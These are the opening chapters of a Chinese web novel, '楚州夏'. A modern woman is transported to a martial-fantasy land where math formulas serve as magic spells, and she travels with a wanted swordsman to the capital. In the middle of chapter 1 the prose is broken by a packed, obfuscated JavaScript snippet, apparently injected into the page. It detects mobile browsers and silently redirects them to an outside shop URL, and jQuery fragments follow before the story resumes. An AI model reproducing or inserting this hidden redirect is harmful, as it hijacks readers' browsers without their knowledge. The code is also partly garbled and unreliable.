《楚州夏》 1. 穿越 邱田恬一晃神,面前的景色突然全部变了。 她似乎站在一条主要道路的中央,周围人声鼎沸,路边到处都是叫卖的小铺,有桂花糕、香囊、折扇,还有卖小人书的。道路两边的建筑青砖石瓦,都是木质的结构,路上的人女穿襦裙、男穿襕衫,好一幅古代街道的热闹模样。 但是几秒前,邱田恬的面前明明是满是汽车的大马路! 这什么情况,横店?难道是穿越了!? 邱田恬的大脑飞速运转着,随后她看向自己的身上的衣服,明黄色的碎花小吊带连衣裙和图省事穿的洞洞鞋,还有肩上的水钻小挎包。再看看街上其他人的穿着,决定先跑到路边的小巷里。 如果真的穿越到古代,自己穿成这样肯定会因为不修仪容直接被抓走,更别提这衣服还是个明黄色的! 在小巷窝了一会,邱田恬也在偷听路边小摊贩和路人们交谈的内容。首先可以确定,这里的人在语言上使用的是中文白话文,邱田恬不用担心交流的事;使用的货币还是以“文”为单位,就是不清楚每文的购买力如何;摊贩聊天谈到最近赋税要降低,说明这个时段此国家发展应该不错。 这到底是哪个朝代?邱田恬看了半天都无法确认,面前男人的穿着像宋朝,女人的穿着却像唐朝,而且此时正值酷暑,大家的穿着比邱田恬想象的古代要清凉,她也看到不少穿着古风小吊带的女人,似乎也没人觉得有伤风化。服装的颜色也是,除了常规的棕色,红黄蓝紫也不在少数,让她看不出什么阶级差异。 穿越十分钟,邱田恬暂时只能通过观察得到这些信息。 接下来,她想确认一下文字。刚好,她看见不远处有个告示板,上面刚粘贴了什么,一群人在围观。 等了一会,人群差不多散了,邱田恬才鬼鬼祟祟地凑过去。 只见告示板中央贴着一张墨水未干的通缉令: 通缉 近日有案犯莫筱初,身负要案,流窜多地后潜入本城。 此人阴险狡诈,携一把邪支长刀,危险异常,如有知情者,请速报全知阁,切勿藏匿。 ——全知阁六月二十一日发 邱田恬一行一行看下去: 汉字,没问题。 繁体字,没问题。 竖版行文,没问题。 但是…… “为什么会有标点符号啊啊啊啊啊!!!” 邱田恬的内心发出尖锐爆鸣!她的世界观有点崩塌,本以为这里应该是唐或者宋的某个时代,但标点符号根本就不是中国古代该有的东西! 那这里到底是什么地方!?邱田恬的眼睛在告示板上扫视,告示板刚被清理过,完整的纸张只有那张通缉令,还有旁边的通缉犯画像,挺帅的……不是,这不是重点! 就在她内心一团乱麻的时候,耳边突然响起一个轻柔的声音: “姑娘可是遇到什么困难了?” 邱田恬被这突然起来的声音吓了一跳,转头看过去,只见这人穿着一身利落的玄色服装,黑发扎成高马尾,头上戴着遮阳斗笠,遮住半边面容。但看他下半边容貌,面若春晓,唇若含丹,肤白如脂,好一个大美女。 但是刚刚听见的声音却是个男人的声音。 邱田恬在看到这张脸的时候愣了一下,随即才反应过来:“你是在问我吗?” “对。”开口的声音清朗,但比起女人的声音,还是要低沉几分,“你好像十分困扰。” 果然,是男人的声音。邱田恬的眼睛从对方的脸移到脖子上,确实有喉结。 看着面前这个人,邱田恬思考着,自己现在对这个世界一无所知,如果有人乐意提供帮助,那肯定是最好的。 “我……我迷路了。”她找了个借口,把自己伪装成楚楚可怜的小姑娘,“而且好像还有些失忆,我不知道自己是怎么到这来的。” 她一边说,一边皱着眉捂住头,作势要晕倒。 那人见状一惊,连忙扶住她的肩膀,说道:“我先扶姑娘找个地坐会儿吧。” …… 片刻后,秋山镇,冯家茶馆。 面馆不大,客人倒是不少,屋内座位已满,两人只能坐在屋外。空气中可以闻到茶叶的香味,店小二正在每桌客人之间忙碌穿过。 刚刚,两人已经相互自我介绍过。 这个黑衣男生自称小楚,是个正在游历的侠客,腰间别着一把长刀,一路行侠仗义,所以看见有困扰的人都会伸出援手。 邱田恬也就听了半个耳朵,不觉得可信,但这人长得还不错,面若冠玉,秀眉朗目,一双桃花眼炯炯有神。邱田恬觉得他有些眼熟,不过身为脸盲的她看谁都一个样,所以也没多想。 “姑娘只记得自己的名字吗?”小楚疑惑道,“可否记得什么家人朋友,有个去处也是好的。” “真的不记得了。”邱田恬装傻着摇头,“少侠要去何处,如果方便,我可以与你同行。” 如果他答应,那就能直接捞个免费向导。 小楚默默下巴,思考着:“嗯……可以倒是可以,只不过我这一路游历,舟车劳顿,怕是会难为姑娘。” “不难为!”邱田恬摇摇手,“刚好,我也想看看这大好河山。欸,你刚说这里是秋山镇,那你的下一个目的地在哪啊?” “从这往南走,有座城市,名为渠京。”小楚说,“我有朋友在那定居,刚好来了这附近,就想去和他聚聚。” 邱田恬点点头,心里却在做打算。听上去是座大城市,自己跟着他的决定果然是对的,到了大城市,她或许能找到更多信息搞清楚现状,甚至可以尝试找下穿越回现代的方法。 小楚看着面前女生皱着眉在思考些什么,突然出声打断她的思路:“其实我有一事想问姑娘,只怕冒犯到你。” 邱田恬一愣,旋即道:“没事,你问吧。” 小楚喝了口茶,正襟危坐道:“姑娘可是穿越者?” “我是……什么!?” 邱田恬脑中如雷劈过,简直不敢相信自己听到了什么!他刚说了穿越对吧?这个纯种古代人怎么会突然说出这种词汇!? 看着邱田恬突然呆愣的样子,小楚好像也有点慌,连忙解释道:“姑娘你别慌,我就随口问一句!穿越是最近小说里很火的元素,我看姑娘这样子甚像小说中的描述,所以就想如此问问。” 穿越小说吗,这个世界的文化发展也太超前了!邱田恬一边在内心吐槽,一边把自己的表情稳定下来,语焉不详地尬笑道:“可能、可能是吧,毕竟我失忆了,很多事情都不记得了。” 她话音未落,突然被一阵骚乱打断。只见面馆里的人突然纷纷站起身,开始抬头望天,耳边是络绎不绝地惊叹声。 “这是怎么了?”邱田恬不明所以,跟着众人的目光抬头看去,随后,她看见了那个刚刚遮住日光的巨物—— 巨大的飞行物犹如一只鲲鹏,金色的身躯劈开云雾,只见那些散开的雾气围绕在飞行物周边,被气流卷进,再如海浪般散开。它悬浮在离地三百米左右的距离,速度并不快,行驶到面馆上方的时候卷起一股巨大的气流,差点把面馆的棚子掀飞。 邱田恬听到周边的人在议论,语气兴奋: “那就是云舟啊,这么大!” “居然真的能飞上天,这也太厉害了!” “也不知道得多少钱才能上去……” 饶是见过飞机的邱田恬,看见这个金属巨物悬浮在空中悠然飘过,也不少震惊。很快,被称为云舟的飞行物越过面馆,邱田恬看见了云舟后有几个圆形发光物,像是几个法阵,中间画着翅膀的形状,周围还有很多看不清楚的复杂文字,法阵经过的地方形成一条白色的直线,像极了飞机的凝结尾迹。 这又是什么东西!?邱田恬眼中的震惊早已无从掩饰,这种飞行物她只在各种幻想电影里见过,而金属躯壳加上古色装点,还有阵法驱动,让她想到了一些修仙电影中的仙术造物。 莫非,这里是个修仙的灵气世界? 她指着云舟远去的背影向旁边的小楚求证:“那个庞然大物,是怎么飞起来的?” “那个啊。”小楚顺着邱田恬目光看去,理所当然道:“当然是用魔法飞起来的。” 邱田恬松口气:“原来是魔法……” 不对。 魔法是什么东西!!! 她扭头看看茶馆,青砖楼瓦,飞檐反宇,赫然是标准的国风古代建筑。再扭头看看小楚,玄色劲装,交领束袖,赫然是古代侠客的标准装扮。简直和“魔法”这种充满西幻色彩的词汇完全搭不上关系! 小楚有些担忧道:“你姑娘看起来确实失忆得严重,居然连这种常识都不知道了吗?” 常识?在古风世界里谈魔法吗? 邱田恬只觉得大脑变成卤蛋般光滑,片刻后,她决定放弃思考,尴尬咳嗽两声:“咳咳,我失忆确实挺严重的,还好有你告诉我。” 好在,小楚也没有追问,好像真的把邱田恬当成了失忆的可怜人。他看着面前的茶壶已空,起身去结账,随后对着邱田恬说:“我和姑娘有缘分,既然姑娘现在不知家在何处,那就先与我同行好了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156298|196555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邱田恬似乎没有拒绝的理由,她一边答应,一边整理了一下自己身上的东西。小挎包里除了手机和证件以外,还有一把折叠小刀,而自己的脖子上戴着一个金项链,应该能换些钱。 走出茶馆,小楚说要先去买些路上吃的干粮,而邱田恬刚好看见不远处有家当铺,想先把金链子卖了。于是两人暂时分开,定好一会还在茶馆会和。 当铺里没有客人,装修自然也是古色古香,但不同于电视剧里高大柜台和木栅栏的设计,这里更类似于珠宝店,周围摆放着很多桌子,还有放大镜之类的物品。掌柜的见到她很热情、或者说见到她手中的金链子很热情,动作麻利地开始融金称重。 “客官您看看,十二克重,现在回收的价格是五百四十六文一克,我和您交个朋友,算您五百五十一克,一共六千六。” 这番话听得邱田恬有点懵,这说辞也太像现代世界黄金交易的说法了,古代也这么交易吗?话说这里用的重量单位也是克,好像和现实世界有诸多相似的地方。 无论如何,金项链顺利换成钱,掌柜给了邱田恬六张壹仟六张壹佰的纸币,她收下纸币,装作无事走出当铺,才找个小巷把钱拿出来看。 纸币的质感有些粗糙,中间写着面额,四周是一些印花和红章,应该是用于防伪的设计,而面额正上方写着一行字:“周夏叶商银行印发”。 周夏,应该是这个国家的名称,而根据刚刚邱田恬一路观察街上摊贩售卖价格、还有金价,她可以确定,现在这种货币的购买力应该和她认知中的人民币相差不多。 接下来就可以拿钱买身本地的衣服,随后去茶馆和小楚汇合……邱田恬一边盘算着,一边把钱收进小包,刚要走出小巷,面前却蹿出三个瘦猴般的男人! 几人一看就不是正经人,痞里痞气地朝着邱田恬走去,嘴里吹着口哨:“小姑娘买了什么好东西?还是卖了什么好东西啊?” 这三个人虽然瘦,但是很高,至少比邱田恬高一个头,一堵墙般地拦在她面前,为首的男人伸出手:“有好东西,就拿来给哥哥玩玩吧~” 毋庸置疑,这是抢劫。邱田恬微微皱眉,死死握住小包肩带,后退一步想拉开距离,那几个男人却又马上上前。 她咬咬牙,伸手探进包里,看似要拿钱,却是握住那把折叠小刀。 这些钱是她的救命钱,不能被这些人抢走。 只要再近一点,邱田恬出刀,那男人肯定来不及反应,哪怕稍微伤到他,邱田恬都有信心逃走。 于是她故意装作害怕,把声音夹起来,矫揉造作道:“我、我把钱给你,你别伤害我!你凑近点!” 男人闻言,果然邪笑着靠近。 三步,两步,一步—— 只剩一步距离时,邱田恬做好发力动作,直接拔刀而出! 只听“铮——”的一声,一把一米长的长刀猛地插在邱田恬面前的地板上,把两边的人都震得后退几步!邱田恬心中大惊,连忙把手中的折叠刀重新收回包中,抬头之间房梁上站着一个黑色人影! “小楚!”她大喜过望,果然,找个侠客做同伴是正确选择,不仅是向导,还能是保镖! 只见小楚纵身一跃而下,脚尖如蜻蜓点水,轻轻落在长刀旁边,随后纤长的手指握住刀柄,抽刀而出,游刃有余之势仿佛那铁制长刀如丝绸轻忽。 他带着笑意开口:“诸位,光天化日之下抢劫吗?” 刀尖寒光轻闪,刀身修长,线条流畅,宛若残月。 邱田恬这才看清一直被小楚带在身边的长刀,那是一把日式武士刀,却被这男人以一种拿长剑的方式拿着,多少有种违和感。 但那三个男人看到这把刀,却是大惊:“邪支长刀!?快、快跑,快去全知阁!” 话音未落,那几人就一溜烟跑了! 见人跑了,小楚也没深追,收刀入鞘,转向邱田恬:“姑娘没事吧,这种小镇子治安就是不太好,等到了渠京会安全许多。” 但此时,邱田恬已经听不进去他的话,满脑子都是刚刚小混混喊出的那四个字——“邪支长刀”。 邪支长刀……邱田恬想起来了,刚刚在告示板上看到的通缉令——“有案犯莫筱初…携一把邪支长刀……”。 小楚、筱初——莫筱初! “你……”她看着面前这张脸,逐渐和通缉令上的那个人重合。 他神色如常,嘴角带着微微笑意:“姑娘莫不是想起了什么?” 他整理了一下衣服,拱手行礼,重新自我介绍道:“幸会,在下莫筱初。” 2. 魔法 邱田恬想不清楚,自己刚找好的少年侠客,怎么一下子变成了朝廷要犯。 两人此时还是面对面站在那个小巷里,邱田恬神色僵硬,却是不敢再朝前半分。在知道他的真实身份后,他那张好看的脸好像都变得危险了。 小楚、不,现在该叫莫筱初,似乎也看出邱田恬的窘迫,稍微后退一步,给邱田恬留下一个安全的空间:“姑娘不用太过紧张,你看见的那个,只是一点误会。” 他举起三根手指对天:“我可以发誓,我是个清清白白的好人。” 邱田恬看着他这幅样子,不由得稍微放松一些,莫筱初这话说的诚恳,再加上这几小时的相处,邱田恬一直在观察他的行为举止,无论是一言一语之间的松弛有度,还是一步一举间的恰好分寸,他都不像是个极恶之人。 或许可以先同行一段路,等到了渠京,再把他甩开也不迟。 邱田恬心中打定主意,表面放下戒备,朝他走去:“好吧,我暂时相信你,不过我得问一句,你说通缉是误会,那到底是什么误会?” “这个……怕是不太方便言说。” 不出所料,莫筱初回避这个问题,这其中必有隐情。邱田恬盯着他的眼睛,直到他开始延伸躲闪,才叹气移开视线:“算了,我不逼你,每个人都有秘密,走吧。” 莫筱初的神色也放松一些,他带着邱田恬走出小巷。邱田恬心事重重,总怕自己一步错步步错,但是到如今,除了相信莫筱初,也没有更好的办法。她看看天色,太阳已经西斜,马上就要天黑,于是像莫筱初提议道:“去渠京还需要很久吧,今天快天黑了,不如我们先找个客栈休息一晚?” “怕是不太方便。”莫筱初叹气,“我想,姑娘应该也没有身份文牒吧。” 身份文牒?邱田恬愣了一下,想必是像身份证一样的东西,莫非这里也和现代一样,住店必须要查身份证? 还没等她反应,莫筱初就接着说:“不过姑娘要是想找个地方休憩,或许我可以想想办法,也许会有店……” 他话还没说完,余光就瞥见一侧出现几个狂奔的身影,赫然是刚刚堵路抢劫的小混混,身后还跟着几个穿着衙役服装的人! 莫筱初见状,神色一沉:“糟糕,他们居然真的去找全知阁了。” 他一把抓住邱田恬的胳膊,尴尬笑道:“抱歉,看来我们的客栈计划泡汤了。” “等……” 邱田恬话没说完,就被莫筱初拽着飞上屋檐,然后开始一路飞檐走壁! 莫筱初的轻功很好,邱田恬被他拉着,只觉得自己也变得身轻如燕,动作居然也开始逐步能跟上莫筱初的脚步,她对着莫筱初喊道:“现在去哪啊!能跑掉吗?” “能!”莫筱初的声音掷地有声,一下子撑住邱田恬发虚的内心。他的目光在街道上横扫,很快找到目标地点:“抓稳,要下去了!” 话罢,他扶住邱田恬的腰身,带着她从屋顶一跃而下!没等邱田恬尖叫,就已经稳稳落地,而面前,赫然是一个马厩。 远处,衙役的身影已经像黄豆丁般大小,但还在锲而不舍地拨开人群朝这跑来,而衙役后方已经亮起一个绿色的光点,散发着不祥的气息。莫筱初神色骤变,不等邱田恬说话,就抱着她跨步上马,衣摆在空中扬起,随手朝着马厩主人抛去一个钱袋:“借你的宝马一用!” 话音未落,他双脚一登,黑马长啸,飞奔而出,身后衙役的叫骂声很快远去。 为了不掉下马,邱田恬只能死死抱住面前人的腰部,想要回过头看一眼追击情况,却只见一道尖锐的绿色光芒如子弹般射出,擦着两人的身边而过,她大惊:“那是什么!?” “攻击魔法,放心,我们马上要离开射程了。” 莫筱初语气严肃,抽出刀鞘,又在马臀上狠狠拍打一下。黑马一声尖啸,步伐又快了不少。然而,追击并未停止,邱田恬可以看见那绿色的光点再度亮起,而这次是两处! “你会骑马吗?”莫筱初突然发问。 “啊?嗯,我会!”邱田恬一时没反应过来,连忙应道。 闻言,莫筱初一言未发,而是突然起身腾空,下一秒,站在了邱田恬身后的马背上!邱田恬一愣,才发现缰绳居然已经到了自己手里! 只见莫筱初抽刀而出,黑发在狂风下扬起,但不等他摆好架势,那绿色的光束竟已撕裂空气逼到咫尺!光束一前一后,一束瞄向马背上的人,另一束瞄向马腿! 紧跟着,莫筱初动了。他手腕翻转,刀刃从下上挑,精准击中那光束的中央,光束一分为二,如同被劈开的子弹一般从两侧弹开。随后,他抓住马鞍,猛地翻身而下,刀刃横在下侧,而他用刀柄重击马腹,黑马吃痛骤然昂首,身形猛地一滞,那光束竟从两条马后腿中间穿过,只在地面留下一个坑洞。 邱田恬被突然昂首尖啸的黑马吓了一跳,差点掉了下去,好不容易稳住身形后,回头就看追兵已经靠近许多。而莫筱初刚刚挡下两道攻击,还未稳住身形,也不可能马上驾马。 得靠她自己了! 邱田恬早就发现,马鞍侧面的袋子里放着马鞭,于是干脆抽鞭而出,马鞭在空气中发出破空声,随后猛地打在马臀上!悲催的黑马又是一声长啸,速度瞬间恢复。 而此时,莫筱初也调整好姿态,重新坐下,从邱田恬手里接过缰绳。两人疾驰而出,转眼只留给身后追兵一片扬起的尘土。 莫筱初驾马飞快,不一会的时间,就跑出那个小镇。也得亏那只是个镇子,没有防守严密的城门,不然他们怕是要被困死在里面。 此时,两人骑着马行走在山间的道路上,根据莫筱初所言,那镇子叫秋山镇,这座山估计就是秋山,山上放眼望去都是银杏树和枫树,想必入秋后会十分美丽。 但现在,邱田恬劫后余生,也没心情欣赏什么美景。 两人仓皇逃窜,身上什么东西都没有,邱田恬甚至没来得及买套本地的衣服穿,还穿着那身吊带裙。而现在天色渐暗,山上气温也逐渐冷下来。 她不自禁缩缩脖子,双手在胳膊上摩擦着。回想起两小时前自己换了本地货币,本打算找个客栈住下,现在却突然变成荒野求生,就突然感慨命运弄人。 下一秒,邱田恬突然感觉有个带着热气的东西围了过来,只见莫筱初居然解开了自己的外袍,披到邱田恬的身上。 他身上只剩一件 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不了解的事情太多,让邱田恬陷入一种无知的惶恐中。她大脑一团乱麻,也坐不住,站起来开始原地转圈圈,半晌后,她决定做些事情缓解焦虑。 莫筱初说要去找吃的,这荒郊野岭,食物无非就是些飞禽走兽,回来肯定还要烹饪,于是邱田恬决定先把火升起来。 刚好她学过一些野外生存技巧,熟练地收集一些易燃的干枯落叶,还有一点树枝,用折叠小刀削尖,开始钻木取火。 大概十分钟后,邱田恬手下的木屑被高速旋转产生的热量点燃,她神色一亮,端着那点冒着火星的木屑往落叶上放,还没等把火彻底引着,面前突然狂风大作!只见莫筱初手里抓着一只灰毛兔子,倏地从天而降,掀起的风把邱田恬堆在地上的落叶吹飞,把那点火星也吹灭了! 她发出尖锐爆鸣:“啊啊啊啊啊啊我的火!” 莫筱初一惊,看着地上的一片狼藉,才意识到邱田恬刚刚在做什么:“抱歉,我没注意,姑娘先歇着,我来生火吧。” “你来生火?”邱田恬抬头看向他,“你难道有打火石之类的?” 是啊,自己刚刚差点忘了,莫筱初是逃犯,估计总在大山里东躲西藏,身上肯定有生火的法子。 只见莫筱初把那些落叶揽到一起,捡起一根较长的树枝,绕着落叶堆画了一个圈。 随后,他口中念念有词,树枝在圈内的空白处飞速写下一串文字,在文字完成的一瞬间,圆圈中心突然蹿出一团火苗,火苗不大,但在风吹下也未熄灭,很快点燃落叶,形成一个小火堆。 莫筱初把手里的树枝也扔入火堆之中,转头看向满脸懵逼的邱田恬:“这就是魔法。” 莫筱初不好意思地笑笑:“不过我悟性太差,只会这种最初级的。” 邱田恬没理他,目光全在莫筱初写下的那行“咒文”上。 咒文由两行字母和数字结合组成,上面写着-b±√b2-4ac,下面写着2a,中间由一条直线隔开。 邱田恬越看越眼熟,大脑中久远的记忆被唤醒: “这不是求根公式吗!?” 3. 全知 魔法,求根公式,数学!?邱田恬彻底陷入大脑宕机之中。 听到邱田恬所言,莫筱初倒是疑惑:“求根公式是什么?我们称这个为引火魔法。” “等下,你让我缓缓。”邱田恬有些没力气再震惊,她指指咒文上的数字和英文字母:“你们知道阿拉伯数字和英文字母吗?” 不出所料地,莫筱初摇摇头,表示没听过:“我们都称这个为咒法文字。” 好,很好。邱田恬看着面前燃烧的火焰,和地上逐渐消失的公式,这就是这个世界的魔法,由数学驱动的魔法? 她只觉得自己一个头突然变成两个大,根据莫筱初的反应,这些数学公式对原住民来说估计像是天书,自己这个现代人肯定有优势……但是,这可是数学啊!如果是英语,她可以开金手指,但是数学她怎么开,根本学不懂啊! 不过,求根公式这种高中数学,邱田恬还是会的。 她随手又捡起一个树枝,找了个空地,学着莫筱初那样画了个圈,在中间默写出求根公式,等待火苗窜起…… 莫筱初还在旁边惊叹:“姑娘很聪慧啊,居然看一遍就能记下咒文!不过光把咒文写下来不能发动魔法,需要会调动魔素,理解咒文含义才行。” “魔素?”邱田恬又听到一个新词汇:“魔素是什么?” 莫筱初解释道:“你可以理解为发动魔法的能源,人类体中拥有的魔素,魔素达到一定数量,就可以发动魔法。” 他说着,拿过邱田恬手上的树枝,在地上画出一个六芒星符号,画完后,符号发出淡淡的白色光芒。 “你试试,如果你画的法阵也能发光,就说明你也能使用魔法。” 真神奇。邱田恬一听莫筱初说她也有使用魔法的可能性,就飞速接受了这个异世界设定。这可比什么穿越古代去宫斗宅斗有意思多了,如果自己能学会使用魔法,岂不是拥有了最强的自保技能。 她看着莫筱初在地面上新画的六芒星,学着画了一个。落笔的瞬间,邱田恬就有种奇妙的感觉,随着树枝尖端的移动,她感觉周身好像有什么力量在涌动,像是一些细小的微尘,最终凝聚在她画在地上歪歪扭扭的线条上。 当她落下最后最后一个笔画,把图案闭合时,瞬间,六芒星乍出刺眼的金光! 金光宛若晚会的聚光灯,直直刺向两人的眼睛,逼得人不得不闭上眼。良久,光芒慢慢减弱,两人才真开眼,直直盯着地上那个歪七扭八的六芒星。 莫筱初大惊:“姑娘这不是聪慧,是天赋异禀啊!” “是、是吗?”邱田恬想着刚刚莫筱初画完六芒星,只是有微弱的白光闪烁,心中一喜,莫非这就是自己穿越来的金手指,看上去十分强劲。 邱田恬大概了解所谓的“调动魔素”,那种凝聚力量的奇妙感觉,如果用它来书写“引火魔法”,是不是就能成功? 这么想着,她提起树枝,闭目凝神,感知着周围流动的微尘,这应该就是莫筱初口中的魔素。她把魔素凝结在“笔尖”,感受着魔素的牵引,在地上画出一个完美的正圆。 随后,是公式、不,是咒文。 莫筱初在旁边想拦一下:“你别急,魔法需要你理解咒文含义才能发动,我先教你……” 他话音未落,只见邱田恬已经流畅地写完整串公式,带着晶莹的微光,一气呵成。 下一秒,两人的面前骤然迸发光亮,巨大的火焰冲天而起,只差一点就要烧到头顶的树梢。莫筱初嘴巴张得能塞下灯泡,讶异地盯着面前这个奇装异服的“穿越者”,完全没注意到魔法火焰燃烧的趋势丝毫没有停下来的意思,反而越来越高。 邱田恬见状,赶紧伸手把咒文擦花,火焰这才戛然而止。 看着头顶被熏黑的树枝,邱田恬一身冷汗,她差点酿成山火。不过同样的法术,自己使用,居然比莫筱初使用的威力大那么多!她内心得意,艰难地压下嘴角,等火焰光芒消失,才看见莫筱初正在闪烁的双眼。 “你、你太厉害了!”莫筱初的激动溢于言表,之前那种文绉绉的说话方式都消失了,他骤然抓住邱田恬的手,有些口不择言,“你比我见过的国家魔法师都厉害,等我们到了渠京,你一定要去研究院看看!” 他越说越兴奋:“渠京有位大魔法师,到时候我引荐你一下……不,我现在这个身份可能不行……总之,我肯定会竭尽全力帮你的!” 邱田恬听着这番话,心中一颤,神色渐冷:“现在的身份不行,那以前的身份就可以了?” 她把手抽出来:“你到底是什么人?对这种国家尖端机构和成员这么熟悉,现在又在被什么全知阁通缉。我想你就算真的犯了案,肯定也不是什么简单的案子。” 或许是因为发现了自己有在这个世界立身的自保能力,邱田恬想要把之前一直不敢说的话说开:“我想如果我们要继续同行,必须得有点基础的信任,不是吗?” 莫筱初激动的表情一僵,向前探出的手也僵在原地,随后无力地落下。他调整了一下姿势,盘腿做好,背部挺直,正襟危坐地看着邱田恬的眼睛。 他缓缓开口: “全知阁,是莫家的产业。” “我的父亲莫长生,是周夏现任护国公。” 护国公,邱田恬听过这个词汇。如果按照现代世界的历史,护国公这个词的代表是英国克罗威尔,他在位时担任护国公,掌握绝对的军事和行政,只有立法受到国会的掣肘, 如果,这里的护国公和邱田恬理解中的一样—— 她看向面前表情严肃的莫筱初,火堆燃烧的火光在他的脸上跳跃,一半被照得明亮,一半被黑暗盖住。 那莫筱初就是周夏独裁者的儿子。 “你……”邱田恬斟酌着语句,试探着向莫筱初提问,“如果你说的都是真的,那你为什么会被自家人通缉。” 莫筱初脸上掠过一抹难色,他别过头,躲过邱田恬的目光,几乎是咬着牙说道:“不过是一些‘家庭矛盾’罢了。” 家庭矛盾,家庭矛盾会让大少爷被全国通缉吗? 邱田 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一番话下来,邱田恬听得有点晕,简而言之,全知阁是一个巨大的周夏媒体机构,几乎掌握着全国的舆论。至于前言的“云氏”和“新政”,结合莫筱初之前说的“护国公”,邱田恬大概能猜到历史脉络。估计现在的周夏已经推翻封建制度,没有皇帝的存在了。 “除此之外,现在全知阁还掌握一部分科考。”莫筱初在另一个三角尖端写下二字,“每年的科考报名都需要通过全知阁,进行文官筛选。全知阁和官府内的档案互通,会对参考人进行审查,然后把审查通过的人报送官府,由官府组织科考。” 邱田恬用现代思维理解了一下,简而言之,就是“政审”。但其中令人惊讶的是档案互通,这样看,全知阁简直就像是官府实施权力的一只手,其在国家机器中的实际地位恐怕比莫筱初描述的更强大。 莫筱初此时也在最后一个尖角写下文字:“最后,是全知阁近期新开设的业务——交通。” 他看向邱田恬:“之前,我们在秋山镇见过的云舟,那就是由全知阁研发并且运营的。” “什么!?”邱田恬简直惊呆了,全知阁简直是文武两开花,那么先进的交通工具,居然是这个文化机构发明的吗! 莫筱初继续说:“不过云舟才刚刚投入使用,现在整个周夏也就那一架,能上去的都是非富即贵的人。” 他看看地上的图形和文字,伸手把它们擦掉:“总之,全知阁就是这么个东西,被它盯上可会有很多麻烦。” 这一番话停下来,邱田恬没有收获新情报的喜悦,只有冷汗直流的后背。全知阁的势力如此庞大,而就是这样一个庞然大物,正在全国通缉莫筱初。 莫筱初身上的事肯定没有他所说的那么简单,自己再跟着他,怕是也会有危险。 邱田恬看着周围黑漆漆的山林,树影摇曳,活像是鬼影。 她打了个寒颤,拉拉自己身上莫筱初的外套,把自己裹成一团。 算了,等到了渠京再说吧。 4. 入城 隔日,太阳西斜的时候,两人到达了渠京。 渠京是一座大城市,和秋山镇那种来去自如的小城不同,想要进入渠京,需要通过城门守卫的检阅。莫筱初似乎自有安排,让邱田恬在旁边先等着,自己去找门路了。 此时,邱田恬就站在离城门稍远的侧面,看着面前的人排队进入渠京。人们的手上都会拿着一片类似铜板的东西,上面刻有文字,还有钢印,应该就是莫筱初所言的“身份文牒”,一种类似身份证的东西。 邱田恬的第一反应是:“嗯,看上去很好造假。” 不多时,莫筱初回来了,带着邱田恬走到一个商人打扮的人面前。 “我都安排好了。”莫筱初说:“我们藏在他的货车里面进城。” 商人是卖布料的,他带着两人进入货车,这边拉货的方式倒是很朴实,就是用马。这商人看上去有些本事,货车三米高四米宽,前面的马有四匹,其中一匹甚是眼熟,赫然是两人从秋山镇骑着逃出的那匹马。 估计莫筱初就是用马和商人做了交易。商人打开车厢,让两人躲到最里面,他再把货堆上。 邱田恬看看那些布料货物,并没有堆满车厢,只要有人稍微翻找一下,就能发现藏在后面的二人。 她担忧道:“这能行吗?” “没问题的,放心吧。”莫筱初靠着车厢坐着,把长刀抱在怀里,“现在政府鼓励通商,只要持有商户文书,就可以免除商业税,所以守卫看见文书都不会仔细查货。” “……听上去不太靠谱。”邱田恬微微皱眉,“他们就不怕车里藏着什么违禁品吗?” 闻言,莫筱初愣了一下,随后摸着下巴边想边道:“有这种可能性,不过商户文书的发放有严格审查,只有履历干净的商户才能获得。不过你也可以理解为,官府对于这种事睁一只眼闭一只眼。” 谈话间,车已经开始行进,邱田恬身边折叠捆在一起的布料,摩擦着她的胳膊,她好奇摸了摸,发现这布料和她身上的连衣裙触感很像,但没记错的话,自己的连衣裙是棉混合聚酯纤维的。 “真高级啊。”她感慨道,她还是摸不透这个世界的科技水平。 莫筱初看她揉捏布料,解释道:“这是从波莱进口的涤纶,可是现在的热门商品。他这一车货估计是从南方一路走一路卖,到这里还剩下这么多。” 邱田恬突然想到昨天那个当铺老板,怪不得他会把自己当成波莱人。估计这种涤纶布料对于周夏人来说,还是罕见玩意。 很快,车子停了下来,外面传来交谈声,应该是到检查口了。两人都自觉地保持安静,等待检查通过。 邱田恬一边等,一边开始计划等进入渠京要做什么。现阶段跟着莫筱初不过是图个向导方便,莫筱初的真实身份太敏感,长久下去肯定会引火上身。再加上莫筱初在一些情报上总是支支吾吾,邱田恬还是得靠自己。 昨天卖项链的六千六百文她还一文没花,等进城,她就找借口和莫筱初先分开,然后去买地图,再看看有没有什么类似报纸的东西买。 思考间,车子已经开始重新前进,看来是顺利进城了。没过多久,商人把车停在路旁,打开货车,示意两人可以出来。 一下车,周围嘈杂的声音瞬间涌入。 比起秋山镇,渠京明显要热闹许多,面前的道路足有十米宽,中央有络绎不绝的马车或者骡车,人们则是行走在道路两侧。邱田恬讶异地发现,这里的地面也不是土路,而是用一种类似于沥青的材料铺设的“马路”,道路两侧的人行道则是砖石地面,两侧的商铺各个挂着灯笼,此时太阳西斜,灯笼也零零星星地亮了起来。 路上车水马龙,人群熙熙攘攘,有些大酒楼开张迎客,路边尽是吆喝,阁楼上有人唱着小曲弹着琵琶,引得众人围观……此情此景,好一幅歌舞升平的画面。 莫筱初看着邱田恬这幅看傻了的表情,有些得意地笑道:“别愣着,渠京还有更好看的呢,我先带你去买衣服。” 哦对,衣服。听他这么一说邱田恬才想起来,自己身上还是那套不伦不类的现代连衣裙,是该换一套。 莫筱初倒是对渠京很熟悉的样子,带着她轻车熟路地来到一栋楼,进门后,入眼的衣服鳞次栉比,来往的人络绎不绝。 店里的大格局被分成两块,左边是成衣,右边是布料,成衣区的人明显比布料区多很多。 邱田恬对衣服没什么要求,选了件绛红色的对襟襦裙,布料轻薄透气,在盛夏会更舒服。随后,她又选了件褐色斗篷,以防突然降温。 两件衣服加起来六百文,不算贵,但也着实不便宜。结账时店员还送了邱田恬一个布包,刚好能装她换下来的连衣裙。 